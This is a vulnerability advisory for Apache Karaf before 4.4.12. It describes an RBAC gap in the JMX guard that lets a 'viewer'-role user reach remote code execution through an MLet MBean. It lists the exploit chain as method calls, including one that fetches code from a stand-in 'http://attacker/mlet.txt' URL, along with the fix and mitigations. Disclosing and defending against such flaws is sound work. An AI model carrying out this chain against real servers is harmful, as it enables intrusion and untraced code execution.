Severity: important
Affected versions:
- Apache Karaf before 4.4.12
Description:
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which
enforces role-based access control (RBAC) on MBean operations invoked over the
remote JMX connector (RMI registry/server, enabled by default on ports 1099 and
44444). The guard is implemented as a java.lang.reflect.Proxy around the
MBeanServer, and only forwards a fixed list of operation names to the RBAC
check, defined in MBeanInvocationHandler#guarded:
private final List<String> guarded = Collections.unmodifiableList(
Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute",
"setAttributes"));
The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and
#unregisterMBean are not in this list. Calls to these methods are forwarded
directly to the underlying MBeanServer with no role check at all, regardless of
the roles configured in etc/jmx.acl.*.cfg.
As a result, any user who can authenticate to the JMX endpoint, including a
user holding only the least-privileged "viewer" role, can call createMBean() to
instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it
again afterwards, with no authorization check and no audit log entry (logging
in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass
never reaches).
This is significant because javax.management.loading.MLet, a standard JDK
MBean, can be instantiated this way. MLet acts as a remote classloader: its
getMBeansFromURL(URL) operation fetches an MLet text file from an
attacker-controlled URL and instantiates and registers the classes it lists as
new MBeans in the target JVM. Reaching this operation still goes through
KarafMBeanServerGuard's existing "invoke" check, but the default
etc/jmx.acl.cfg grants the "viewer" role to any method name matching the
wildcard rule "get* = viewer", a heuristic intended for read-only getters.
Because "getMBeansFromURL" happens to start with "get", it also matches that
rule, so a default installation grants "viewer" callers permission to invoke it
without any Karaf-specific ACL naming MLet at all. Combined with the
createMBean gap, this gives a "viewer"-role JMX client a path to remote code
execution to the Karaf JVM:
* Authenticate to JMX as any user with any role (e.g. "viewer").
* mbs.createMBean("javax.management.loading.MLet", objectName) is not in
GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered.
* mbs.invoke(objectName, "getMBeansFromURL", new
Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name
matches the default "get* = viewer" ACL rule, so permitted.
* The remote .mlet file is fetched and its listed classes are loaded and
registered as new MBeans, running attacker-supplied code in the Karaf JVM.
* mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards,
also not in GUARDED_OPERATIONS, no RBAC check, no audit trail.
The fix adds createMBean, registerMBean and unregisterMBean to the guarded
operation list, resolves required roles for them from the jmx.acl*
configuration by ObjectName and (for createMBean/registerMBean) MBean class
name, and ships default etc/jmx.acl.cfg entries restricting all three
operations to the "admin" role. This allows deployments to also write
class-name-specific rule, e.g.:
createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin
Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released,
as soon as possible. Until an upgrade is available, restrict network access to
the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid
issuing any non-"admin" JMX credentiels.
Credit:
MopMonk-AI <[email protected]> (reporter)
References:
https://karaf.apache.org/
https://www.cve.org/CVERecord?id=CVE-2026-92142